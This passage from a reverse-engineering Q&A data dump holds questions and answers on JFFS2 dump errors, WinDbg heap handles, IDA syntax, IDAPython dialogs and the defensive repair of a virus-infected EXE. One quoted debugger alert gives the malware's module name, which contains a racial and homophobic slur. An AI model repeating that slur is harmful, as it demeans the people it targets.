jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002c0014: 0x3943 instead&#xA;[  222.654998] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002c0018: 0xf380 instead&#xA;[  222.654999] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002c001c: 0x17a6 instead&#xA;[  222.655000] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002c0020: 0xb72f instead&#xA;[  222.655001] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002c0024: 0x0afb instead&#xA;[  222.655002] jffs2: Further such events for this erase block will not be printed&#xA;[  222.655459] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002e0000: 0xf2aa instead&#xA;[  222.655461] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002e0004: 0x314d instead&#xA;[  222.655462] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002e0008: 0xbd28 instead&#xA;[  222.655463] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002e000c: 0x1bc2 instead&#xA;[  222.655464] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002e0010: 0xde65 instead&#xA;[  222.655465] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002e0014: 0x8c02 instead&#xA;[  222.655466] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002e0018: 0x17f9 instead&#xA;[  222.655467] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002e001c: 0x1c15 instead&#xA;[  222.655468] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002e0020: 0xa016 instead&#xA;[  222.655469] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002e0024: 0x993d instead&#xA;[  222.655469] jffs2: Further such events for this erase block will not be printed&#xA;[  222.655505] jffs2: Old JFFS2 bitmask found at 0x002e2418&#xA;[  222.655506] jffs2: You cannot use older JFFS2 filesystems with newer kernels&#xA;[  222.655838] jffs2: Old JFFS2 bitmask found at 0x002f9888&#xA;[  222.655839] jffs2: You cannot use older JFFS2 filesystems with newer kernels&#xA;[  222.655932] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00300000: 0xbc51 instead&#xA;[  222.655933] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00300004: 0x10fd instead&#xA;[  222.655934] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00300008: 0x1848 instead&#xA;[  222.655935] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x0030000c: 0xfa5f instead&#xA;[  222.655936] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00300010: 0x623d instead&#xA;[  222.655937] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00300014: 0x293c instead&#xA;[  222.655938] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00300018: 0xd001 instead&#xA;[  222.655939] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x0030001c: 0x56b9 instead&#xA;[  222.655940] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00300020: 0x2eb1 instead&#xA;[  222.655941] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00300024: 0x2fb2 instead&#xA;[  222.655942] jffs2: Further such events for this erase block will not be printed&#xA;[  222.656045] jffs2: Old JFFS2 bitmask found at 0x00307510&#xA;[  222.656046] jffs2: You cannot use older JFFS2 filesystems with newer kernels&#xA;[  222.656399] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00320000: 0x666b instead&#xA;[  222.656401] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00320004: 0x2ed2 instead&#xA;[  222.656402] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00320008: 0xdc4c instead&#xA;[  222.656403] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x0032000c: 0x9009 instead&#xA;[  222.656404] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00320010: 0xf72f instead&#xA;[  222.656405] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00320014: 0x3ba0 instead&#xA;[  222.656406] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00320018: 0x08e7 instead&#xA;[  222.656407] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x0032001c: 0xfcb5 instead&#xA;[  222.656408] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00320020: 0xec5b instead&#xA;[  222.656409] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00320024: 0x28f9 instead&#xA;[  222.656409] jffs2: Further such events for this erase block will not be printed&#xA;[  222.656916] jffs2: notice: (3096) jffs2_build_xattr_subsystem: complete building xattr subsystem, 1 of xdatum (0 unchecked, 1 orphan) and 0 of xref (0 dead, 0 orphan) found.&#xA;[  232.551529] jffs2: compression type 0x08 not available&#xA;[  232.551533] jffs2: Error: jffs2_decompress returned -5&#xA;[  232.551535] jffs2: read_cache_page() returned error: -5&#xA;[  232.551537] jffs2: Error garbage collecting node at 00040224!&#xA;[  232.551539] jffs2: No space for garbage collection. Aborting GC thread&#xA;[  260.444456] jffs2: compression type 0x08 not available&#xA;[  260.444460] jffs2: Error: jffs2_decompress returned -5&#xA;[  260.444629] jffs2: compression type 0x08 not available&#xA;[  260.444631] jffs2: Error: jffs2_decompress returned -5&#xA;[  260.444690] jffs2: compression type 0x08 not available&#xA;[  260.444692] jffs2: Error: jffs2_decompress returned -5&#xA;[  260.444870] jffs2: compression type 0x08 not available&#xA;[  260.444871] jffs2: Error: jffs2_decompress returned -5&#xA;[  260.444933] jffs2: compression type 0x08 not available&#xA;[  260.444934] jffs2: Error: jffs2_decompress returned -5&#xA;[  260.445129] jffs2: compression type 0x08 not available&#xA;[  260.445130] jffs2: Error: jffs2_decompress returned -5&#xA;[  260.445189] jffs2: compression type 0x08 not available&#xA;[  260.445190] jffs2: Error: jffs2_decompress returned -5&#xA;[  260.445263] jffs2: compression type 0x08 not available&#xA;[  260.445264] jffs2: Error: jffs2_decompress returned -5&#xA;[  262.212738] jffs2: compression type 0x08 not available&#xA;[  262.212742] jffs2: Error: jffs2_decompress returned -5&#xA;[  262.213648] jffs2: compression type 0x08 not available&#xA;[  262.213651] jffs2: Error: jffs2_decompress returned -5&#xA;[  262.213760] jffs2: compression type 0x08 not available&#xA;[  262.213762] jffs2: Error: jffs2_decompress returned -5&#xA;[  262.213910] jffs2: compression type 0x08 not available&#xA;[  262.213913] jffs2: Error: jffs2_decompress returned -5&#xA;[  262.214018] jffs2: compression type 0x08 not available&#xA;[  262.214021] jffs2: Error: jffs2_decompress returned -5&#xA;[  262.214165] jffs2: compression type 0x08 not available&#xA;[  262.214167] jffs2: Error: jffs2_decompress returned -5&#xA;[  262.214254] jffs2: compression type 0x08 not available&#xA;[  262.214255] jffs2: Error: jffs2_decompress returned -5&#xA;[  262.214322] jffs2: compression type 0x08 not available&#xA;[  262.214323] jffs2: Error: jffs2_decompress returned -5&#xA;[  262.214391] jffs2: compression type 0x08 not available&#xA;[  262.214393] jffs2: Error: jffs2_decompress returned -5&#xA;[  262.214501] jffs2: compression type 0x08 not available&#xA;[  262.214502] jffs2: Error: jffs2_decompress returned -5&#xA;[  262.214700] jffs2: compression type 0x08 not available&#xA;[  262.214701] jffs2: Error: jffs2_decompress returned -5&#xA;[  262.214789] jffs2: compression type 0x08 not available&#xA;[  262.214791] jffs2: Error: jffs2_decompress returned -5&#xA;[  262.214877] jffs2: compression type 0x08 not available&#xA;[  262.214879] jffs2: Error: jffs2_decompress returned -5&#xA;[  262.215052] jffs2: compression type 0x08 not available&#xA;[  262.215054] jffs2: Error: jffs2_decompress returned -5&#xA;[  262.215192] jffs2: compression type 0x08 not available&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing i have found with my google foo has been much help.&#xA;Not sure what to do next ? has anyone had this problem before ?&lt;/p&gt;&#xA;" OwnerUserId="17555" LastActivityDate="2017-06-12T12:53:16.163" Title="Help mounting jffs2 dumped from NAND flash." Tags="|linux|firmware|embedded|dumping|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13726" PostTypeId="2" ParentId="13725" CreationDate="2016-10-15T08:47:55.617" Score="4" Body="&lt;p&gt;It's hard to say without the image but at a guess, maybe you did not properly strip the OOB bytes from the dump, or the block size is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of mounting it maybe try just extracting the files from the image, e.g. using &lt;a href=&quot;https://github.com/ohjeongwook/DumpFlash/blob/master/DumpJFFS2.py&quot; rel=&quot;nofollow&quot;&gt;this script&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-10-15T08:47:55.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13727" PostTypeId="1" AcceptedAnswerId="13740" CreationDate="2016-10-15T20:17:38.697" Score="1" ViewCount="1012" Body="&lt;p&gt;I can see in the windbg disassembly the handle to the process heap on, allocated by the Windows (WINDOWS 10) for my process:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dt nt!_PEB 0106c000&#xA;ntdll!_PEB&#xA;   +0x000 InheritedAddressSpace : 0 ''&#xA;   +0x001 ReadImageFileExecOptions : 0 ''&#xA;   +0x002 BeingDebugged    : 0x1 ''&#xA;   +0x003 BitField         : 0x4 ''&#xA;   +0x003 ImageUsesLargePages : 0y0&#xA;   +0x003 IsProtectedProcess : 0y0&#xA;   +0x003 IsImageDynamicallyRelocated : 0y1&#xA;   +0x003 SkipPatchingUser32Forwarders : 0y0&#xA;   +0x003 IsPackagedProcess : 0y0&#xA;   +0x003 IsAppContainer   : 0y0&#xA;   +0x003 IsProtectedProcessLight : 0y0&#xA;   +0x003 IsLongPathAwareProcess : 0y0&#xA;   +0x004 Mutant           : 0xffffffff Void&#xA;   +0x008 ImageBaseAddress : 0x00840000 Void&#xA;   +0x00c Ldr              : 0x77a4ebe0 _PEB_LDR_DATA&#xA;   +0x010 ProcessParameters : 0x03b885e0 _RTL_USER_PROCESS_PARAMETERS&#xA;   +0x014 SubSystemData    : (null) &#xA;   +0x018 ProcessHeap      : 0x03b70000 Void&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now i want to examine the heap header, and apply the &lt;code&gt;dt !_HEAP&lt;/code&gt; to the &lt;strong&gt;ProcessHeap      : 0x03b70000&lt;/strong&gt;, but i can see that i get totaly invalid data in result. &lt;code&gt;!heap -s&lt;/code&gt; gives me totally different results for the heap, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LFH Key                   : 0xd5ec6951&#xA;Termination on corruption : ENABLED&#xA;  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast &#xA;                    (k)     (k)    (k)     (k) length      blocks cont. heap &#xA;-----------------------------------------------------------------------------&#xA;05e90000 00000002    1020      4   1020      2     1     1    0      0      &#xA;00ff0000 00001002      60      4     60      2     1     1    0      0     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand, that the address where the heap header starts must be calculated  from this handle, &lt;strong&gt;ProcessHeap      : 0x03b70000 Void&lt;/strong&gt; but i don't understand how it is calculated. its not a va, because 00840000 + 03b70000 != 05e90000 , so how to get from the heap handle, to the actual address of _HEAP structure header?&lt;/p&gt;&#xA;" OwnerUserId="17455" LastActivityDate="2016-10-16T20:01:29.907" Title="Heap address Calculation" Tags="|windows|memory|process|address|heap|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13728" PostTypeId="1" AcceptedAnswerId="13736" CreationDate="2016-10-16T00:27:37.013" Score="0" ViewCount="892" Body="&lt;p&gt;I'm trying to restore a file that was infected by a virus (gaelicum or tenga)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's an appending virus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the warning I get when opening it in OllyDbg&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;: ---------------------------&#xA;Entry Point Alert&#xA;---------------------------&#xA;Module 'SUPER_GAY_NIGGERS' has entry point outside the code (as specified in the PE header). Maybe this file is self-extracting or self-modifying. Please keep it in mind when setting breakpoints!&#xA;---------------------------&#xA;OK   &#xA;---------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How can I figure out what was the original Entry Point?&lt;/li&gt;&#xA;&lt;li&gt;How can I restore the original entry point once I recover it?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="17772" LastEditorUserId="2147" LastEditDate="2016-10-16T17:16:10.330" LastActivityDate="2016-10-16T17:16:10.330" Title="Restoring an Infected appending virus EXE file by" Tags="|ollydbg|pe|malware|entry-point|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13729" PostTypeId="1" AcceptedAnswerId="13730" CreationDate="2016-10-16T04:23:10.633" Score="0" ViewCount="276" Body="&lt;p&gt;I came across the following instruction in IDA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movsx edx, byte_407030[ecx]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;byte_407030&lt;/code&gt; is &lt;code&gt;25h&lt;/code&gt;. Is it trying to access some memory location? I know that &lt;code&gt;ecx&lt;/code&gt; is storing a counter in a for loop.&lt;/p&gt;&#xA;" OwnerUserId="17634" LastEditorUserId="2147" LastEditDate="2016-10-16T04:44:45.343" LastActivityDate="2016-10-16T04:44:45.343" Title="What does byte_407030[ecx] mean?" Tags="|ida|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13730" PostTypeId="2" ParentId="13729" CreationDate="2016-10-16T04:43:50.683" Score="3" Body="&lt;p&gt;Lets go step by step:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movsx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a specialized move instruction it moves a value from source of a smaller size (in your case, a byte) to a destination of a potentially larger size (in your case, a double word), preserving the sign bit by an operation called &lt;a href=&quot;https://en.wikipedia.org/wiki/Sign_extension&quot; rel=&quot;nofollow&quot;&gt;sign-extending&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that if the byte was a negative integer then the destination will also be a negative integer. This is a bit more complex then simply copying the last bit because of the way negative integers are encoded (which is called &lt;a href=&quot;https://en.wikipedia.org/wiki/Two%27s_complement&quot; rel=&quot;nofollow&quot;&gt;two's complement&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;edx &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first operand of a &lt;code&gt;mov&lt;/code&gt; instruction is the destination target. In this case it's the double-word register &lt;code&gt;edx&lt;/code&gt;. This is were the data is moved to.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;byte_407030[ecx]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second operand is the source operand. This is where the data is moved from. Please note that although the instruction is &lt;code&gt;mov&lt;/code&gt;, the value also remains in the source location. Calling it &quot;copy&quot; might have been a better idea ;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA's syntax here is similar to C's syntax. This will dereference the memory region at address &lt;code&gt;0x407030&lt;/code&gt; plus the value of &lt;code&gt;ecx&lt;/code&gt; and fetch a byte from there. In case &lt;code&gt;ecx&lt;/code&gt; is &lt;code&gt;11h&lt;/code&gt;, the final address would be &lt;code&gt;0x407041&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;summary&lt;/strong&gt;&#xA;&lt;br&gt;This instruction will take the byte value at memory address of &lt;code&gt;0x407030+ecx&lt;/code&gt;, sign extend it to dword (4 bytes in most architectures) and assign that final value into register &lt;code&gt;edx&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-10-16T04:43:50.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13731" PostTypeId="2" ParentId="13727" CreationDate="2016-10-16T05:00:52.457" Score="2" Body="&lt;p&gt;this is from win7 but that shouldn't matter much &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ProcessHeap From Peb of current Process&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dt ntdll!_PEB ProcessHeap @$proc &#xA;   +0x018 ProcessHeap : 0x00430000 Void&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;heap Stat For the same&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; !heap -s @$proc-&amp;gt;ProcessHeap&#xA;&#xA;&#xA;****************************************************************************&#xA;                                              NT HEAP STATS BELOW&#xA;****************************************************************************&#xA;NtGlobalFlag enables following debugging aids for new heaps:&#xA;    tail checking&#xA;    free checking&#xA;    validate parameters&#xA;LFH Key                   : 0x20cb0363&#xA;Termination on corruption : ENABLED&#xA;  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast &#xA;                    (k)     (k)    (k)     (k) length      blocks cont. heap &#xA;-----------------------------------------------------------------------------&#xA;00430000 40000062    1024     24   1024      3     7     1    0      0      &#xA;00010000 40008060      64      4     64      2     1     1    0      0      &#xA;-----------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HeapEntryStructure&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dt nt!_Heap Entry.* @@(@$proc-&amp;gt;ProcessHeap)&#xA;ntdll!_HEAP&#xA;   +0x000 Entry  : &#xA;      +0x000 Size   : 0xda5a&#xA;      +0x002 Flags  : 0x5b '['&#xA;      +0x003 SmallTagIndex : 0xa9 ''&#xA;      +0x000 SubSegmentCode : 0xa95bda5a Void&#xA;      +0x004 PreviousSize : 0x2d79&#xA;      +0x006 SegmentOffset : 0 ''&#xA;      +0x006 LFHFlags : 0 ''&#xA;      +0x007 UnusedBytes : 0x1 ''&#xA;      +0x000 FunctionIndex : 0xda5a&#xA;      +0x002 ContextValue : 0xa95b&#xA;      +0x000 InterceptorValue : 0xa95bda5a&#xA;      +0x004 UnusedBytesLength : 0x2d79&#xA;      +0x006 EntryOffset : 0 ''&#xA;      +0x007 ExtendedBlockSignature : 0x1 ''&#xA;      +0x000 Code1  : 0xa95bda5a&#xA;      +0x004 Code2  : 0x2d79&#xA;      +0x006 Code3  : 0 ''&#xA;      +0x007 Code4  : 0x1 ''&#xA;      +0x000 AgregateCode : 0x01002d79`a95bda5a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-10-16T05:00:52.457" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13732" PostTypeId="2" ParentId="13060" CreationDate="2016-10-16T06:37:54.567" Score="2" Body="&lt;p&gt;What are you trying, exactly? Here are some disassemble commands for use within LLDB:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;disassemble --frame&lt;/code&gt;: Disassemble the currently running function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;disassemble -a 0x1234&lt;/code&gt;: Disassemble the function containing the address &lt;code&gt;0x1234&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;disassemble -n _foo&lt;/code&gt;: Disassemble the function called &quot;&lt;code&gt;_foo&lt;/code&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try &lt;code&gt;help disassemble&lt;/code&gt; to learn more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for a list of good disassemblers on various platforms, it depends whether you have a lot of disposable income or not. IDA Pro is the best but it costs around $1000. If that's prohibitive, Google can help you find lists of free and cheap tools.&lt;/p&gt;&#xA;" OwnerUserId="14287" LastActivityDate="2016-10-16T06:37:54.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13733" PostTypeId="2" ParentId="6361" CreationDate="2016-10-16T07:50:07.760" Score="0" Body="&lt;p&gt;This is a straightforward translation of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x = foo;&#xA;doSomething(x);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An optimization pass would have realized that &lt;code&gt;x&lt;/code&gt; was still in &lt;code&gt;r0&lt;/code&gt; here. Presumably optimizations were turned off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, it's not &lt;em&gt;that&lt;/em&gt; wasteful, as the memory location in question will still be in L1 cache.&lt;/p&gt;&#xA;" OwnerUserId="14287" LastActivityDate="2016-10-16T07:50:07.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13736" PostTypeId="2" ParentId="13728" CreationDate="2016-10-16T17:11:41.887" Score="1" Body="&lt;p&gt;It is important to do the entire process inside a virtual machine to avoid any additional file infections and/or suffer the malicious effects of the virus.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Finding the original entry point&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is not a trivial task, since once the PE's entry point changes it is no longer recorded anywhere in the PR header. The only way to find the original entry point is through debugging the PE's execution throughout the malicious code added, until the additional code reaches to the original entry point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing that depends heavily on how complex and protected the malicious code is. A simple approach (that might work) could be using a debugger such as &lt;a href=&quot;http://www.ollydbg.de/version2.html&quot; rel=&quot;nofollow&quot;&gt;ollydbg&lt;/a&gt; to run the code until it reached the original code's memory region (this can be done by opening the memory window and pressing &lt;kbd&gt;f12&lt;/kbd&gt; after selecting the relevant memory regions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the malicious code implements any anti-debugging protections you might need to bypass those. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Changing the entry point back&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you've used ollydbg in the previous part, you could use PE dump plugin (&lt;a href=&quot;https://low-priority.appspot.com/ollydumpex/&quot; rel=&quot;nofollow&quot;&gt;OllyDumpEx&lt;/a&gt; for example) to dump the PE with the entry point by using the plugin when EIP points to that entry point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can use any PE editing tool (like &lt;a href=&quot;http://www.heaventools.com/overview.htm&quot; rel=&quot;nofollow&quot;&gt;PEExplorer&lt;/a&gt;, &lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/LordPE&quot; rel=&quot;nofollow&quot;&gt;LordPE&lt;/a&gt; or &lt;a href=&quot;http://www.ntcore.com/exsuite.php&quot; rel=&quot;nofollow&quot;&gt;CFFExplorer&lt;/a&gt;) or advanced hex editor (My personal preference is &lt;a href=&quot;http://www.sweetscape.com/010editor/&quot; rel=&quot;nofollow&quot;&gt;010Editor&lt;/a&gt;) to edit the Entry Point field in the PE header directly.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Removing residues&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Although the malicious code should no longer run it is still inside your file. As an optional third step, you might want to remove the file infector's residue. According to the error message, it seems the file infector added it's own section, so by using a PE editor you could remove that new section in order to remove at least most of the virus's residues in your file.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-10-16T17:11:41.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13737" PostTypeId="1" AcceptedAnswerId="13738" CreationDate="2016-10-16T17:19:29.720" Score="6" ViewCount="7466" Body="&lt;p&gt;I try to use IDA dissembler and I don't really understand the following text paragraphs appearing at the head of functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;arg_0 = dword ptr 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain their meaning?&lt;/p&gt;&#xA;" OwnerUserId="17777" LastEditorUserId="2147" LastEditDate="2016-10-16T17:40:06.410" LastActivityDate="2016-10-16T17:40:06.410" Title="What does arg_0 = dword ptr 4 mean?" Tags="|ida|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13738" PostTypeId="2" ParentId="13737" CreationDate="2016-10-16T17:30:41.247" Score="4" Body="&lt;p&gt;That's not a command, and not really part of the assembly language.&#xA;IDA uses those markers to ease the reading of assembly instructions relating to the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once IDA detects an offset would point into the function's stack as either an internal variable or an argument, it'll assign a name to the specific stack offsets each parameter and/or argument points to from the base of the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It then calculates all offsets to the same position regardless of stack growth/shrinking and will use the stack offset names where-ever they're possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The syntax is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;argument/variable name&amp;gt; = &amp;lt;size&amp;gt; ptr &amp;lt;offset from stack base&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in your example, IDA identified the first argument to the function and named it &lt;code&gt;arg_0&lt;/code&gt; (you can change the name by pressing &lt;kbd&gt;n&lt;/kbd&gt; when your cursor is on it). The argument is a dword and the function's base stack offset is 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the offset is positive IDA identified the stack address as an argument. Negative offsets will be recognized as variables and will have the &lt;code&gt;var_&lt;/code&gt; prefix instead.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-10-16T17:30:41.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13740" PostTypeId="2" ParentId="13727" CreationDate="2016-10-16T20:01:29.907" Score="1" Body="&lt;p&gt;The problem was due to the Page Heap verification, enabled by &lt;code&gt;Gflags&lt;/code&gt;. I forgot about that, and the heap verifier was messing with the heap handles. When i disabled it, the handle at the PEB became valid.&lt;/p&gt;&#xA;" OwnerUserId="17455" LastActivityDate="2016-10-16T20:01:29.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13741" PostTypeId="1" AcceptedAnswerId="13742" CreationDate="2016-10-16T21:53:15.920" Score="0" ViewCount="401" Body="&lt;p&gt;I have created a plugin/idascript (&lt;a href=&quot;https://github.com/tintinweb/ida-batch_decompile&quot; rel=&quot;nofollow&quot;&gt;ida-batch_decompile&lt;/a&gt;) that aims to make it easier to decompile a target including images referenced as imports or any other decompilable files in the targets project dir. Optionally it also adds some helpful annotations to the pseudocode. In order to make this as convenient as possible I've added a Dialog that helps in enumerating target files and allows to select files for decompiliation from within ida pro. For the selection I'm using a variant of the &lt;code&gt;Choose2&lt;/code&gt; control that I borrowed from &lt;a href=&quot;https://github.com/EiNSTeiN-/idapython/blob/master/examples/ex_askusingform.py&quot; rel=&quot;nofollow&quot;&gt;EiNSTeiN&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to have is a way to dynamically add items (e.g. on button click) to an already displayed &lt;code&gt;Choose2&lt;/code&gt; list control. For some reason, this does not work, newly added items are not displayed unless I manually  &lt;code&gt;right-click/refresh&lt;/code&gt; on that listview control. I tried calling &lt;code&gt;Chooser2.Refresh(), Form.Refresh()&lt;/code&gt; without any luck. The only workaround that kind of works is to close the form, add items to the listview and re-exec that form in order for it to show up. &lt;a href=&quot;https://github.com/tintinweb/ida-batch_decompile/blob/master/ida_batch_decompile.py#L548&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; is kind of ugly (see gif &lt;a href=&quot;https://github.com/tintinweb/ida-batch_decompile&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def OnButtonLoad(self, code=0):&#xA;    # superdirty close, propagate, execute hack, otherwise listview would not be updated&#xA;    self.Close(0)&#xA;    # add items to listview&#xA;    self.propagateItems(enumerate_other=True, enumerate_imports=True)&#xA;    self.Execute()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;--?--&lt;/strong&gt; What is the correct way to add items to an already existing &lt;code&gt;Choose2&lt;/code&gt; listcontrol and have it refresh without having to &lt;code&gt;Close(); Execute()&lt;/code&gt; the whole form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was searching for something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Chooser.items.add(newItem)&#xA;Chooser.Refresh()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but that does not seem to refresh the listview control.&lt;/p&gt;&#xA;" OwnerUserId="13810" LastActivityDate="2016-10-17T01:25:19.670" Title="idaypthon - how to refresh Choose2 listcontrol once it has been displayed?" Tags="|ida|idapython|" AnswerCount="1" 